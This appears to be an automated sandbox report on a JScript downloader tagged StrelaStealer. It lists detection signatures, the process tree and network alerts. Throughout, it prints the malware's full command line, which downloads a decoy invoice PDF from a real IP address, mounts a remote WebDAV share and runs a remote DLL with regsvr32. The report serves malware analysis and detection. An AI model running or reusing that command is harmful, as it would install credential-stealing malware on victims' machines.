Edit tour

Windows Analysis Report
7503204021179918537.js

Overview

General Information

Sample name:	7503204021179918537.js
Analysis ID:	1587783
MD5:	7632ed602e00e5215b2713cfaa622c7c
SHA1:	6cda4efe194288f4617390dea25b26755ea8b1de
SHA256:	151a81ee46cd605268b8e3793a21a90fe62c0f7788a3aa4d83d58a51d596c714
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6564 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1812 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6412 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 768 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6156 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5804 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1528,i,2606910405970676168,4803394523659336682,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7116 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5004 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3136 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6564	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6412, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6412, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ProcessId: 6564, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5004, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ProcessId: 1812, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ProcessId: 6564, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1812, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6412, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7116, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5004, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3136, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7116, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5004, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6564, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll, ProcessId: 1812, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:58:29.613901+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:58:26.130156+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 7503204021179918537.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 7503204021179918537.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:58:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.5:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49705 -> 193.143.1.205:80

Source: global traffic

